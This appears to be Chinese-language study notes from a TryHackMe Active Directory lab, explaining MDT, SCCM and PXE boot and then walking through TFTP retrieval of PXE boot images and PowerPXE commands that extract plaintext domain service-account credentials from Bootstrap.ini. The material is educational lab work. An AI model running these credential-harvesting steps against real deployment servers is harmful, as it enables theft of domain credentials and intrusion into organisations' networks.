介绍

MDT & SCCM

MDT 是一项 Microsoft 服务,可以帮助我们自动部署 Microsoft OS, 大型组织常使用 MDT 等等服务来对内部的系统进行部署镜像,同时维护和更新。

通常 MDT 和 SCCM 集成,SCCM 管理所有 Microsoft **<font style="color:#DF2A3F;">应用程序</font>****<font style="color:#DF2A3F;">、服务和操作系统的所有更新</font>**, MDT 用于 <font style="color:rgb(33, 37, 41);">新部署</font>,本质上,MDT 可以帮助 IT 团队预配置和管理启动映像。

:::danger 举个例子: 当我们需要配置一个新电脑时,只需要连接网络就可以自动运行,并配置电脑

:::

SCCM 可以视为 MDT 的扩展,SCCM 负责软件安装后的补丁管理, 该方法允许 IT 团队审查和安装所有软件的可用更新。该团队还可以在沙盒测试这些补丁。

PXE

在大型组织中会使用 PXE 引导,以实现通过网络来加载和安装操作系统, MDT 可以用于创建 管理 托管 PXE 启动镜像,PXE 引导通常与 DHCP 集成,这意味着当 DHCP 分配 IP 时,就可以允许主机请求 PXE 引导来启动操作系统的安装。

MDT - 图1

客户端会使用 TFTP连接来下载 PXE 引导镜像,我们具有两个利用思路:

  • 注入权限升级: 获取本地管理员账户
  • 密码抓取以获取在安装期间使用的 AD 凭证

PXE 引导镜像

我们知道 DHCP 会和 PXE 集成,所以我们假设当前我们已经获得了目标URL :

http://pxeboot.za.tryhackme.com/ ,该页面会列出 BCD 文件

MDT - 图2

通常我们使用 TFTP 请求来获取 BCD 文件。获取命令:

  1. C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
  2. Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

在获取了 BCD 文件后,我们使用 powerpxe 来读取内容:

  1. C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
  2. Windows PowerShell
  3. Copyright (C) Microsoft Corporation. All rights reserved.
  4. PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
  5. PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
  6. PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
  7. >> Parse the BCD file: conf.bcd
  8. >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
  9. \Boot\x64\Images\LiteTouchPE_x64.wim

WIM 文件是 Windows Imaging Format (WIM) 引导镜像,现在我们有了 PXE 引导镜像位置,我们再次使用 TGTP 下载此映像:

  1. PS C:\Users\THM\Documents\am0> $wimfile = '\Boot\x64\Images\LiteTouchPE_x64.wim'
  2. PS C:\Users\THM\Documents\am0> $mdtserver = (Resolve-DnsName thmmdt.za.tryhackme.com).IPAddress
  3. PS C:\Users\THM\Documents\am0> tftp -i $mdtserver GEt "$wimfile" pxeboot.wim
  4. Transfer successful: 341899611 bytes in 277 second(s), 1234294 bytes/s

这一步我们是在下载一个完全可引导和配置的 WIndows 镜像

现在我们已经获取了 PXE 启动镜像,我们尝试从中获取泄露的存储凭证,接下来我们产生注入一个本地管理员用户,关于此类更多的攻击请参考:Taking over Windows Workstations thanks to LAPS and PXE - RiskInsight

  1. PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
  2. >>>> Finding Bootstrap.ini
  3. >>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
  4. >>>> >>>> UserID = svcMDT
  5. >>>> >>>> UserDomain = ZA
  6. >>>> >>>> UserPassword = PXEBootSecure1@

参考

TryHackMe | Breaching Active Directory